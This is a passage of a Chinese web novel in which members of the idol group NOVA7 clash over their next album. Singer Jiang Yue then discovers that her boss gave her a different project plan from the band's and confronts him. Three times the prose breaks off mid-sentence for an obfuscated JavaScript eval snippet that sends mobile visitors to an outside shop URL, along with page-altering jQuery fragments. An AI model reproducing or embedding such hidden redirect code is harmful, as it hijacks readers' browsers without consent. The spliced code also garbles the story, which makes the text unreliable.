迟临:“我们想尝试一些更成熟,更能表达我们自己想法的音乐,而不只是迎合市场的口水歌。但具体怎么做,我们都很迷茫。” “简单来说,就是安全,但缺乏惊喜。我们的音乐在及格线以上,却很难让人留下深刻的印象。” “所以,这次筹备新专辑,我们希望能做出一些改变和突破。” 迟临又想了想,补充说明道:“我个人希望新专辑能保留我们原有的粉丝基础,所以不能完全颠覆,但需要在编曲和概念上更有深度。” “我个人很喜欢带有叙事感的音乐,想在歌曲结构上做一些新的尝试,让一首歌听起来像一部微电影。” 迟临的发言很有条理,他话音刚落,一旁的苏亦辰便微笑着接了下去。 “我同意临哥说的叙事感。” 苏亦辰:“我平时更喜欢偏向于旋律和情感的表达。我觉得我们的歌,有时候技术性太强,反而缺少了一点……嗯,人情味。” “我希望能有一两首能真正唱进人心里,那种安静纯粹的抒情歌。不需要复杂的编曲,只是表达一些更细腻的情感,关于成长、遗憾、或者一些说不出口的爱恋。” “总之,我个人还是更偏向我们之前擅长的风格,可以在编曲里加入一些新的音色,或者在和声上做得更丰富一些。抒情歌是我们的长项,也是最能稳固粉丝基本盘的选择。” 他说完,有些不好意思地笑了笑,耳根微微泛红。 “抒情歌?拜托,那也太无聊了吧!” 路深靠在椅背上,双手抱在胸前,直抒胸臆:“我们的舞台明明可以非常炸的,结果唱慢歌?粉丝会睡着的。” “要做就做最燥的!我觉得我们应该尝试一些更硬核的风格,比如Trap Metal或者Drill、Rock,歌词也写得大胆一点,别总是情啊爱的,多没劲。” Trap Metal?这对于一个主流偶像团体来说,跨度不是一般的大。 夏予光张了张嘴想说什么,又闭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845992|189674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 苏亦辰的眉头也蹙起。 “我们总不能一直唱些软绵绵的情歌吧?偶像也需要态度……” 看到众人不赞同的神色,路深撇了撇嘴,声音小了下去。 “好吧,好吧,当我没说。” 他最后做了个给嘴巴拉拉链的动作,选择了闭麦。 “我觉得小深哥说的也有道理呀!” 夏予光立刻举手,“我也觉得我们可以玩点更潮的!前辈,您知道Hyperpop吗?就是那种……又电子又流行,节奏很快,音色很夸张,像在游戏世界里一样!或者做点Y2K复古风,我觉得超有味道的!” “赛博朋克也行!就那种很酷的,电子迷幻的感觉!MV就在那种下着雨的未来都市里拍,全是霓虹灯和飞行器,歌词就写人工智能的觉醒和反叛,怎么样?是不是超酷!” 他一边说一边比划着,兴奋之情溢于言表,仿佛已经看到了自己站在未来感十足的舞台上。 迟临的眉头锁得更紧了,正要开口调和,陆子野却突然开了口。 “什么风格都可以。” 他依旧是那副冷淡的表情,视线落在自己修长的手指上。 “但节奏必须是第一位的。” 他抬起眼,带着一种执着,“我是舞担,音乐对我来说,首先是身体的律动。无论是什么风格,抒情也好,硬核也罢,它的Beat必须足够好,有能让人起舞的冲动。否则,它只是背景音,不是舞台的灵魂。” 他没有指定某种风格,只是简单直接地表明了自己的核心诉求:对于一个顶级舞者而言,音乐的节奏和律动,就是一切。 舞担需要节奏,那么其他人呢? 每个人都在咀嚼着刚才那几番截然不同的发言。 抒情、硬核、新潮、律动……这些看似都能成为方向的词语,此刻却像一团乱麻,缠绕在一起,找不到线头。 会议室里安静了几秒,所有人的视线不由自主地转向了剩下的两个人。 凌骁。 还有纪星衍。 凌骁从始至终都靠在离江玥最远的角落,戴着耳机,也不知道听没听进去。 他低着头,手指在桌面上无意识地敲击着复杂的节奏,对刚才的讨论置若罔闻。 迟临朝他看了一眼,语气带上了一丝无奈,“凌骁?” 被队长点名,凌骁终于懒懒地抬起了眼皮,目光在众人脸上扫了一圈,最后,不着痕迹地在江玥的脸上停顿了一秒,开口了。 “说了半天,你们说的都是风格。” “风格只是皮囊,Beat才是骨架。” “那些榜单上的歌,拆开来听,鼓点、Loop、音色采样,全是流水线模板,换个旋律就能当新歌发,没意思。” “我的要求是,下一张专辑,必须在制作上达到新的高度。” 他顿了顿,身体微微前倾,视线锁定着江玥。 “我不关心是抒情还是摇滚,我只关心我们做的东西够不够真,能不能做出一个,让懂行的人一听就知道,这是NOVA7的音乐,不是什么榜单裁缝。” “我们可以玩点Lo-Fi Hip-Hop,加入一些黑胶唱片的粗糙质感。” “或者试试UK Garage,那种摇摆的2-Step节奏,很适合跳舞。” “甚至可以融合一些IDM的元素,做一些不规则的节拍和新奇的音色设计。” 凌骁将自己的想法娓娓道来,信息量巨大,专业术语一个接一个地往外抛,也不管其他人是否能听懂。 “重点是,我们能不能创造属于自己的声音。不是去模仿别人,或者被市场牵着鼻子走。” 说完,他重新靠回椅背,言简意赅地总结:“我的意见是,推翻重来,做一张真正属于制作人的专辑。” 这话一出,路深和夏予光脸上的兴奋劲儿顿时消散了,苏亦辰温和的笑容也僵了一下,就连迟临的眉头都锁得更紧了。 凌骁的话太冲了。 推翻重来? 对于一个已经有固定风格的成熟男团来说,这几乎是自杀行为。 一个不小心,就是真的糊穿地心了。 14.套路 但凌骁本人对此毫不在意。 “比如,”他看向一脸不服气的路深,“你说要做Trap Metal?行。但不是简单的808鼓加上失真吉他。” “我们可以采样工业噪音,把它们处理成打击乐。用非人造的音色来构建整个Beat的底色,再用吉他Riff和嘶吼去打破它。” “这才是高级的玩法,而非停留在模仿国外乐队的初级阶段。” 他又转向一脸茫然的夏予光,开口说:“Hyperpop?可以更有趣一点。我们为什么不用真实的游戏音效?把吃金币的声音、角色跳跃的声音、失败的音效、胜利结算画面BGM,全部打碎了重组成旋律和节奏。” “用Vocoder把人声处理出电音,就像NPC,创造一个真正的游戏世界,而不是流于表面的电玩风。” 最后,他看向苏亦辰,语气稍微缓和了一点,“抒情歌也一样,别再是钢琴配弦乐的老一套了。” “我们可以尝试反向混响,把空间感做得像在深海里,用合成器模拟宇宙的声音。让一首情歌,听起来像一部科幻史诗,这才叫叙事感。” 凌骁语速越来越快,他已经完全沉浸在自己的音乐世界里,滔滔不绝地描绘着听起来玄妙又复杂的制作构想。 “我认为,我们必须在声音本身上做出突破。” “下一张专辑,我要的是独一无二的音色库,是充满想象力的编曲结构,是能让任何一个专业制作人戴上耳机后,都不得不承认这是非常厉害的作品。” “至于风格,那只是最后呈现给大众的外壳而已。” 他说完,靠回椅背,端起面前已经有些凉了的水,一口喝干。 所有人都被他这一番天马行空的技术宣言给震得沉默了。 太专业,太前卫,也太理想化了。 这听起来已经不是一张偶像专辑,更像是作曲人的个人实验向作品集。 众人面面相觑。 一时不知道该从哪里反驳凌骁的奇思妙想。 在这片几乎凝固的沉默中,纪星衍懒洋洋开口加入了辩论赛: “想法很好,但实现不了。” 他一直安静地坐在角落,白净斯文的脸上没有任何多余的表情。 “凌骁,你说的这些,听起来很酷。但你忽略了最核心的三个问题。” 纪星衍平静地伸出三根手指。 “第一,时间。按照你说的,从采样到音色设计再到编曲,制作一张专辑至少需要半年,甚至一年。但公司给我们的时间,只有三个月。” “第二,成本。你想要的那些声音,需要顶级的设备,顶级的录音室,可能还需要请国外的混音师。这笔预算,公司不一定会批。” “第三,也是最重要的一点——市场。” 纪星衍的话字字诛心,“我们是NOVA7,不是什么地下音乐人或者金牌作曲人。” “我们的听众是十几二十岁的学生和年轻白领,她们想听的是能让她们在通勤路上放松,能在失落时得到安慰的歌,不是什么需要戴上万元监听耳机才能听出细节的科幻史诗。” 他顿了顿,组织好语言继续说:“路深想做的Trap Metal,夏予光想做的Hyperpop,还有你。” 他看向凌骁,“你想做的实验电子。这些都很好,作为个人爱好,作为私底下的交流,完全没问题。” “但作为NOVA7的下一张主打专辑,不行。” “为什么?”路深忍不住反驳,“我觉得骁哥说的有道理啊,为什么偶像就不能做自己想做的音乐?” “因为偶像这个身份,本身就意味着妥协。”纪星衍毫不留情地否定对方,“我们的音乐,首先是商品。它需要服务于我们的形象,维系我们的粉丝,最终达成商业上的成功。在这个基础上,我们才能谈自我表达,顺序不能错。” “Trap Metal?Hyperpop?这些风格受众有多窄,你们知道吗?一张专辑投进去几百万上千万,就为了满足你们几个想燥一下的心情?公司不是慈善机构。” “还有凌骁,”纪星衍的目光转向他,“制作人的专辑?这个想法很酷很有个性,但我们的定位是偶像男团,不是地下音乐人。” “粉丝想看的是我们七个人在舞台上发光发亮,不是听一张只有圈内人才能听懂的神专。” “技术是为艺术服务的,更是为商业服务的。” “本末倒置,只会让我们摔得很惨。” 纪星衍等所有人缓了缓,才继续说话。 “你们信不信,一旦我们的专辑销量惨淡,裴总会立刻组建一个新的男团,所有倾向我们的资源会被毫不留情地瓜分出去。” “我们是一个团体,不是个人solo歌手,新专辑不是用来满足某个人音乐野心的实验品。” 最后一句话一出,作为个人solo歌手的江玥感觉自己莫名被cue了,手指下意识扣了扣杯子边缘。 纪星衍的话说得毫不客气,戳破了所有人不切实际的幻想。 路深涨红了脸,夏予光悻悻地低下头,凌骁的脸色也沉了下去。 “那你的意思是,我们就继续做那些口水歌?”凌骁冷冷发问。 “我没说要做口水歌。”纪星探平静地迎上他的目光,“我的意思是,我们的创新,必须在安全区内进行。” “NOVA7的定位是治愈和成长,我们可以在这个框架内,把故事讲得更深刻,把旋律写得更高级,把概念做得更完整。” “比如,我们可以用一张专辑,去完整地讲述一个都市夜归人的故事。从黄昏的迷茫,到深夜的郁闷,再到黎明的希望。每一首歌代表一个时间节点,一种心境。编曲上可以更有层次,但整体风格必须统一,必须符合我们都市暖光的形象。” “这同样需要高水平的制作,但它是在我们现有风格上的升级,而不是颠覆。这样,既能给老粉丝带来新鲜感,又不至于让他们感到陌生和背叛。同时,一个完整且深刻的概念,也更容易获得乐评和奖项的青睐。这才是最稳妥,也最聪明的做法。” “也就是说,我们可以改变,但不能突变。” 纪星衍的发言结束了,他捧着水杯慢慢喝水,等所有人消化他刚才说的话。 如果说凌骁是一个疯狂的艺术家,那么纪星衍就是一个冷静到冷酷的产品经理。 一个追求极致的艺术性,一个追求效益最大化的商业性。 两种截然不同的思路,就这样摆在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857112|189674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人面前。 迟临揉着眉心,表情凝重。 苏亦辰低着头,不知道在想什么。 夏予光和路深脸上的光彩彻底黯淡了下去,像是两个被戳破了梦想气球的孩子。 陆子野依旧面无表情。 凌骁死死地盯着纪星衍,咬牙切齿,冷哼一声。 而纪星衍,则平静地回望着凌骁,目光没有丝毫退缩。 “所以,队长,我的意见是,在讨论我们想做什么之前,先搞清楚市场需要我们做什么,以及我们能做什么。” “方向错了,再怎么努力都是白费。” “这个问题,或许我们应该听听更专业的人士怎么说。” 说着,纪星衍意有所指地看向了江玥。 一瞬间,所有人的目光全都聚焦在了江玥身上。 江玥:“……” 她听蒙了。 彻底蒙了。 抒情、摇滚、赛博朋克、Lo-Fi、UK Garage……新专辑?推翻重来?市场定位? 这都什么跟什么? 我们不是在旅综上做世界民族音乐来着吗? 她的大脑被这些庞杂的信息轮番轰炸了一遍,嗡嗡作响。 一开始她还饶有兴致地听着,觉得这群年轻人虽然想法稚嫩,但对音乐确实有热情有思考,挺难得的。 可越听,她就越觉得不对劲。 这哪里像是为了一个旅行综艺合作歌曲该有的讨论强度? 这分明是一整个企划团队在开新专辑的头脑风暴会! 一股强烈的不祥预感涌上心头。 江玥面无表情地垂下眼,避开所有人的视线,手指在桌下,不紧不慢地摸出了自己的手机。 屏幕亮起,她解锁,点开了和裴景昭的聊天记录。 指尖上滑,她很快找到了那份裴景昭几天前发给她的综艺企划案,文件名清晰地写着:《环球音乐之旅》企划方案(江玥老师版)。 她点开文件,深吸一口气,目光落在企划案的核心内容那一栏。 白纸黑字,清晰无比:“【综艺主旨】:记录顶流创作型歌手江玥,如何全程陪伴并指导新人男团NOVA7,围绕当地文化、音乐特色、人文风情合作完成旅行歌曲的创作或改编,并在当地地标进行一场小型公开演出。” 旅行歌曲、创作或改编、小型公开演出。 江玥把这几个关键词在脑子里过了一遍,又抬起头,看了看眼前这群正眼巴巴等着她为他们指点迷津的成员们。 所以,帮助NOVA7制作新专辑,又是怎么一回事? 江玥握着手机的手指,缓缓收紧。 她面无表情地看着文档,大脑飞速运转,将所有线索串联起来。 裴景昭那番救救孩子的说辞,NOVA7这过分郑重其事的态度,以及此刻这场关于新专辑的会议…… 一个荒谬但唯一的可能性,浮现在她脑海—— 她,好像被裴景昭那个老狐狸,给耍了。 他给她的剧本,和给NOVA7的剧本,根本就不是同一个版本! “前辈?” 迟临看着江玥越来越难看的脸色,小心翼翼地开口询问,“您是有什么不同的想法吗?” 15.对峙 江玥没有说话。 她的太阳穴在猛抽。 裴景昭那张挂着虚伪笑容的脸在脑海中一闪而过,与眼前这群成员真挚又热切的目光交叠在一起,构成了一幅无比荒诞的画面。 她没有去看任何一个人,只是垂着眼,看着自己面前那杯已经凉透了的茶水。 茶水倒映着天花板上明亮的灯光,也倒映出她平静无波的脸。 一股被愚弄的怒火,夹杂着哭笑不得的荒谬感,从脚底直冲天灵盖。 她终于明白,裴景昭不怀好意的笑容是怎么回事了。 她也终于明白,为什么这群成员从她住进来的第一天起,看她的眼神就那么不对劲。 原来在他们眼里,自己不是什么来参加旅行综艺的合作嘉宾,而是被公司请来拯救他们音乐生涯的金牌制作人! 裴景昭…… 江玥在心里默念着这个名字,牙根都有些发痒。 好一个老狐狸,真是好手段。 用一个轻松的旅行综艺把她骗过来,实际上却是让她来接手烫手山芋,解决一个偶像男团的转型危机。 他甚至连剧本都准备了两份! 这一刻,她只想立刻冲回云际娱乐,抓着裴景昭的领子,冒着被雪藏的风险,给他那张保养得宜的脸上结结实实地来上两拳。 “前辈?” 迟临的声音将她从滔天的怒火中拉了回来。 他看着江玥越来越难看的脸色,以为是他们刚才的争论让她感到了为难,语气里满是忐忑不安。 “是我们太乱了吗?对不起,让您看笑话了。” 江玥缓缓抬起眼,看向迟临。 对方温和真诚的脸上写满了歉意,他身后的其他成员也都露出了类似的表情。 怒火在胸中翻滚,但她知道,对这群同样被蒙在鼓里的NOVA7成员发火,是毫无意义且不公平的。 江玥的手指在桌下轻轻颤抖,强迫自己冷静下来,现在最重要的事情,是确认事实。 “综艺企划案。” 江玥开口,声音有些发哑,她清了清嗓子,努力让自己的语气听起来平稳一些,“你们手上的,关于这次合作的综艺企含案,能让我看一下详细内容吗?” “企划案?”迟临愣了一下,显然没明白江玥为什么会突然问这个。 但他还是立刻点点头,没有任何怀疑,拿起放在一旁的平板电脑,调出了一份文件,然后恭敬地递了过去。 “裴总应该也发给您了吧?”迟临有些疑惑地补充,“就是关于这次综艺的具体规划和……和我们新专辑制作联动的那个方案。” “新专辑制作联动?”江玥低声重复着这几个字,嘴角勾起一个极淡的弧度,没有半分笑意。 她没有立刻回答迟临的问题,只是接过了平板。 当她看到那份和自己手机里截然不同的文件标题:《NOVA7:新声代偶像音乐旅行纪实综艺 & 第二张正规专辑制作企划》,她的指尖停住了。 文件内容翔实,逻辑清晰。 前面关于旅行中寻找灵感的部分,和她收到的那份《环球音乐之旅》几乎一模一样。 但是,从中间部分开始,内容急转直下。 “项目核心目标:借助金牌唱作人江玥的行业经验与音乐才华,以导师身份全程深度参与NOVA7下一张正规专辑的制作,从概念企划、词曲创作、编曲制作到后期混音,进行全方位指导与合作,旨在打破团队固有瓶颈,实现音乐性与商业性的双重突破。” “时间规划:3+2个月。三个月综艺拍摄期间完成专辑核心概念及主打曲目创作,综艺结束后立刻进入为期两个月的封闭制作期,确保专辑按时发布。” “成果考核:新专辑销量、音源榜单成绩、专业乐评口碑、年底音乐大赏奖项……” 一条条商业条款和KPI指标,像一盆冰水兜头浇下。 后面还有长达十几页的详细规划,包括专辑制作的时间线、每个阶段的任务目标、预算分配、甚至是后期宣传的媒体矩阵…… 详尽、周密、野心勃勃。 这和她手上那份只有薄薄几页,主题为“合作一首歌曲并演唱”的《环球音乐之旅》企划案(江玥老师版),根本就是两个世界的东西! 所以,根本没有什么轻松愉快的旅行综艺。 什么合作一首旅行歌曲,什么小型演出,全都是幌子。 裴景昭从一开始,就把她当成了NOVA7的救命稻草,一个用来给这个男团脱胎换骨的工具人,一个需要背负起他们下一张专辑成败与否的金牌制作人。 而她像个傻子一样,直到刚刚,还以为这只是一份轻松愉快且酬劳丰厚的休闲工作。 会议室里,所有人都察觉到了不对劲。 江玥的脸色越来越黑,眼神也越来越冷。 她颤颤巍巍地抬起手,指尖冰凉,指向迟临手中的平板,声音也跟着发抖。 “这就是裴景昭给你们的全部计划?” 迟临被她这副仿佛随时要碎掉的样子吓了一跳,连忙点头,“是啊,前辈,请问有哪里不对吗?” 前辈这是怎么了?是对这个企划不满意吗?还是觉得他们的能力达不到要求? 迟临小心翼翼带着不解地问道:“裴总没有把这份详细的企划案发给您吗?” 这句话一出,干脆利落地捅进了江玥本就千疮百孔的理智上。 “没有。” 江玥慢慢地抬起头,迎上迟临那双写满歉意的眼睛。 她努力地想扯出一个淡定的微笑。 但她失败了。 最终,她的嘴角艰难地向上牵动,肌肉僵硬得像被冻住。 那是一个比哭还要难看的笑容,混合着滔天的怒火、无尽的荒谬和一丝社畜面对无良老板时的认命。 纪星衍审视着江玥和她手中的平板,似乎已经猜到了什么,眉头紧紧地皱了起来。 江玥深吸一口气,强迫自己冷静下来。 现在不是发火的时候。 “裴总他没发给我。” 她一字一顿地说,声音沙哑得厉害。 “他给我的那份,不是这个。” 此话一出,满座皆惊。 “什么?!”路深跳了起来,满脸的不可思议,“怎么会?!” 夏予光也瞪大了眼睛,看看迟临,又看看江玥,完全处理不了这巨大的信息量。 陆子野面瘫的脸上也出现了裂痕,他猛地抬起头,视线紧紧地锁住江玥。 迟临的脸色也变得难看无比,“前辈,您的意思是,您不知道这次综艺的核心目的是协助NOVA7制作新专辑?” 江玥没有说话。 她只是默默地解锁了自己的手机,点开那份她看了好几遍的《环球音乐之旅》企划案,然后,将手机屏幕转向了他们。 “我的版本,是这个。” 迟临探过头去。 其他几个脑袋也立刻凑了过来。 只见江玥的手机屏幕上,显示着一个word文档,标题简单粗暴:《环球音乐之旅》企划方案(江玥老师版)。 内容更是简洁到令人发指: “合作形式:江玥作为特邀嘉宾,参与《环球音乐之旅》全程录制。 “合作内容:在旅行中,与NOVA7成员进行音乐交流,合作完成一首旅行主题单曲的创作或改编,并在当地完成一次小型路演。 “备注:以轻松、愉快的旅行为主基调,音乐创作为辅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864547|189674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旨在展现不同音乐人之间的灵感碰撞。差旅食宿将按最高标准提供。” 那份文件里,只有风花雪月的旅行,和轻描淡写的合作一首歌。 关于新专辑的字眼,则是一个都没有。 下面的内容,江玥已经看不下去了。 她的脑子里只有一个念头:裴景昭,你可真是我的好老板。 “……” 七个成员直勾勾地盯着两份内容天差地别的企划案,表情从震惊,到错愕,再到茫然,最后化为一种难以言喻的尴尬与无措。 他们的大脑显然也宕机了。 两份企划案。 一份给了NOVA7,画下了一张关于“金牌制作人带队打造神专”的宏伟蓝图。 一份给了江玥,描绘了一场关于“轻松旅行、愉快合作”的美好假期。 两份拼在一起,才是一份充满了算计与欺骗的完整合同。 NOVA7成员们脸上的表情在这一刻精彩纷呈,他们集体呆呆地坐在那里,不知道该作何反应。 原来他们口中决定团队未来的新专辑,在前辈这里,只是合作一首旅行单曲? 原来他们视为救世主的总指导,拿到的剧本是特邀嘉宾? 原来他们这边是背负着销量和奖项KPI的决死之战,而前辈那边,只是轻松愉快的旅行? 这已经不是偏差了。 这简直是跨服聊天,是两个平行宇宙。 “裴总他这是什么意思?” 迟临的嘴唇哆嗦着,实在没想到顶头上司如此不靠谱。 “所以,我们刚才说的那些……” 苏亦辰的脸上写满了不知所措,他站起身,对着江玥深深地鞠了一躬:“前辈,对不起!我们不知道,我们真的不知道事情是这样的!给您添麻烦了!” 纪星衍从震惊中回过神来。 他猛地站起身,脸色铁青地说道:“这是裴总的失误,或者说,是他的刻意为之。前辈,这件事……” 他的话还没说完,就被一声嗤笑打断了。 “哈。” 凌骁发出了一声短促的笑。 “我就说,天上怎么会掉馅饼。什么金牌制作人,什么救世主,搞了半天,你跟我们一样,不过都是裴景昭制造综艺效果的工具而已。” “凌骁!你闭嘴!”迟临又急又气地喝道。 “我为什么要闭嘴?我说错了吗?”凌骁冷笑着反问,“她从头到尾都被蒙在鼓里,我们也是。” “你们不觉得可笑吗?” 他的目光再次转向江玥,“现在,你打算怎么办?大制作人?” “是当场撕毁合约走人,让NOVA7成为全行业的笑话?还是……” 他故意顿了顿,“继续留下来,假装什么都没发生,拿着裴景昭开出的高薪,陪我们这群菜鸟做完这个专辑?” 江玥缓缓抬起眼,迎上凌骁色厉内荏的眸子。 她心里那股被压抑的怒火,此刻却诡异地平息了下去。 和裴景昭那种老狐狸的算计比起来,这种年轻人的直白挑衅,甚至都单纯的有些可笑。 良久。 在所有人紧张的注视下,江玥终于开了口。 “首先,”她看向凌骁,眼神平静,“收起你那套激将法,我做什么决定,不需要你来教。” 接着,她的目光扫过紧张的其他人,“其次,这件事,错不在你们,你们也是被蒙蔽的一方。” 最后,她的视线落回到那张原木长桌上,声音里带着一种对无良上司的无奈,“至于我打算怎么办……” 江玥站起身。 在所有人惊愕的目光中,朝着大门走去。 “我得去找我们的‘好’上司当面谈谈。” 16.合作 江玥连换身衣服的耐心都没有,踩着毛绒绒的室内拖鞋,径直冲出了别墅大门。 她没有走平坦的正门大道,选择了从花园里铺着鹅卵石的小径穿出去。 沿途不少云际娱乐的工作人员正在花园里散步,看到一个熟悉的身影以一种堪比百米冲刺的速度从身边刮过,都露出了惊愕的表情。 “刚刚过去的是江玥老师吗?” “好像是,她怎么只穿着拖鞋?助理呢?” “江玥老师的表情好像不太对劲,是要去干嘛?谁惹她了?” “看方向是总部大楼?是去找裴总吗?” 窃窃私语声被她甩在身后,江玥的眼里只有一个目标—— 裴景昭! 这个名字在她的齿间被反复咀嚼,几乎要被嚼出血来。 老狐狸!伪君子!无良资本家! 她能想到的所有负面词汇都往他身上堆,却依然不足以平息她被愚弄的怒火。 两份合同!他怎么敢?! 他怎么能心安理得地用这种手段,去欺骗一个为他兢兢业业工作了这么多年的员工?! 怒火烧掉了她所有的理智,也烧掉了她平日里表现出的那层疏离。 “滴——” 人脸识别刷开了通往顶层的权限。 电梯飞速上升,金属厢壁倒映出她咬牙切齿的表情。 “叮——” 电梯门打开。 江玥没有片刻的犹豫,大步流星地走到厚重的门前,手握上冰冷的金属门把,没有敲门,用尽全身的力气,猛地将门推开! 宽敞明亮的落地窗前,裴景昭正悠闲地坐在沙发上,他没有穿笔挺的西装,只着一件质地柔软的米色羊绒衫,整个人看起来温文尔雅。 面前的矮几上,一套精致的紫砂茶具温着一壶茶,袅袅的白烟升起,空气中弥漫着一股清雅的茶香。 听到门口巨大的动静,裴景昭只是缓缓抬起头,看向怒气冲冲站在门口的江玥,没有半分惊讶,嘴角微微上扬,露出了一个堪称温和的笑容。 “来了?” 他的目光落在江玥毛茸茸的拖鞋上,眼神里带着一丝纵容,“我还以为你至少会先回房间换双鞋。” 江玥关上门,隔绝了门外秘书探究的视线,然后踩着拖鞋,一步一步地走到他对面,将那两份内容截然不同的企划案——手机里的电子版,和从迟临那里拿来的平板,拍在了茶几上。 “裴总。”江玥的声音头一回掺着真切的怒火,“你不觉得,你应该给我一个解释吗?” 裴景昭的视线从两份文件上扫过,然后又重新落回到江玥气红了的脸上。 他没有否认,没有辩解,只是平静地点了点头,坦然得令人发指。 “嗯,我应该。” 他说着,拿起茶壶,将一个白瓷茶杯斟满,然后推到江玥面前。 “先喝口茶,润润嗓子。上好的金骏眉,夜白从武夷山带回来的,我一直没舍得喝,尝尝?” 江玥深吸一口气,强迫自己不要被对方的节奏带跑。 她没有坐下,居高临下地站在茶几前,双手环胸,用冰冷的眼神俯视着他。 “裴景昭,”她连裴总都懒得叫了,直呼其名,“你是不是觉得耍我很有意思?” 裴景昭抬起头,迎上她带着怒火的眸子。 他用指腹轻轻按了按眉心,脸上露出一丝恰到好处的疲惫和无奈。 “江玥,坐下说。” 他叹了口气,语气里带着罕见的示弱,“这件事,是我做得不对。我向你道歉。” 他道歉道得太快太坦然,让江玥准备好的一肚子质问都失去了着力点。 江玥愣了一下,但很快就反应过来,这不过是这个老狐狸的又一套路数。 她死死地盯着他,试图从他脸上找出一丝虚伪的痕迹。 但没有。 他的眼神很真诚,真诚到让她感到一阵无力。 “道歉?”她冷哼一声,“一句对不起,就想把我骗过来给你的宝贝男团当免费劳力,解决他们的转型危机,顺便还要背上他们下一张专辑成败的KPI?裴景昭,你这算盘打得可真精。” “不是免费劳力,”裴景昭纠正她,“你的酬劳,是公司目前能给出的最高规格。而且,我也从没想过让你背负KPI。” “那两份不一样的企划案,你怎么解释?”江玥不为所动。 “我的失误。”裴景昭坦然承认,“我应该提前跟你沟通清楚,我只是太相信你的能力了。” 他顿了顿,抬眼看着江玥,目光里带着一种复杂的情绪,有欣赏,有信任,甚至还有一丝不易察觉的依赖。 江玥没有get到。 “江玥,你知道NOVA7现在是什么情况。他们有潜力,但找不到方向,就像一艘迷航的船。而放眼整个公司,不,放眼整个行业,能给他们当灯塔,把他们拉回正轨的人,我能想到的只有你。” 江玥没有掉进老狐狸的弯弯绕绕,质问道:“为什么要用这种方式?如果你需要我来带NOVA7,需要我给他们做专辑,你可以直说。我们可以谈条件,谈酬劳,谈所有商业合作该谈的一切。为什么要骗我?” “因为直说,你不会同意。”裴景昭看着她,坦然回答。 叹了口气,他低声继续说:“江玥,我知道你有多讨厌麻烦,我比谁都清楚,让你去带一个新人男团,处理他们内部的矛盾,平衡他们的音乐理念,还要背负起整个专辑的商业成败……这种吃力不讨好的事情,你连考虑都不会考虑,会直接拒绝。” “我承认我用了些手段,因为我知道,如果一开始就把这么重的担子直接交给你,以你的性格,肯定会拒绝。你讨厌麻烦,更讨厌被束缚。” “但这个项目对公司,对NOVA7,都太重要了。” “我是在赌,赌你只要接触了他们,看到了他们的才华和困境,以你对音乐的热爱,不会真的袖手旁观。” “所以你就骗我?” 江玥的声音里充满了失望,“用一个轻松的旅行综艺把我诓过来,然后让我骑虎难下?” “是。”裴景昭毫不犹豫地承认,“我承认我的手段不光彩。但站在公司的立场上,我没有别的选择。” 他身体微微前倾,语气变得严肃起来。 “NOVA7现在的情况,你应该也看到了。他们有天赋,有热情,但就像一盘散沙,每个人都想往不同的方向使劲,再这样下去,很快就会分崩离析。他们需要一个能镇住他们,能把他们拧成一股绳的人。一个在音乐上足够权威,能让他们心服口服的人。” “环顾整个公司,整个华语乐坛,能做到这一点,并且愿意为他们花费时间和精力的,我想不到第二个人选。” 他的目光灼灼,凝视着眼前的人。 “只有你,江玥。” 这番话说得滴水不漏,既承认了错误,又把责任的起因归结于对江玥能力的高度信任,顺便还捧了她一把,将她放在了救世主的高度上。 江玥听得脑仁疼。 她最烦的就是这种话术,把算计包装成苦衷,把利用粉饰成信赖。 “所以,这就是你欺骗我的理由?所以我就活该被你当枪使?” 江玥快被气笑了,“裴景昭,收起你那套老板画饼的说辞。我只问你,这件事,你打算怎么解决?” “不是当枪使,是合作。”裴景昭立刻纠正,“我知道这件事让你很不舒服,所以我准备了补偿。” 说着,他从手边的文件夹里,抽出了一份早已准备好的文件,推到江玥面前。 那是一份补充协议。 江玥狐疑地看了他一眼,还是拿起了那份文件。 只看了第一页的部分内容,她的瞳孔就猛地收缩了一下。 【关于《NOVA7:新声代偶像音乐旅行纪实综艺&第二张正规专辑制作企划》补充协议】 “1.江玥女士将担任专辑的总制作人及A&R,对专辑所有音乐内容(词、曲、编曲、制作方向)拥有最终决定权,且署名排首位。 2.在原综艺合作酬劳的基础上,追加专辑制作人费用800万元(税后)。 3.该专辑所有版权收益,江玥女士将享有30%的永久分成。 4.云际娱乐承诺,将为江玥女士的下一张个人专辑投入不低于S+级别的制作及宣发资源。 5.自即日起,江玥女士的下一张个人专辑将拥有100%的创作自主权,云际娱乐不得以任何形式进行干预,但可以在江玥女士同意的情况下进行协助。同时,该专辑的制作及宣传预算,在原基础上追加50%……” 她翻开第二页。 那是一份关于成立江玥个人工作室的企划草案。 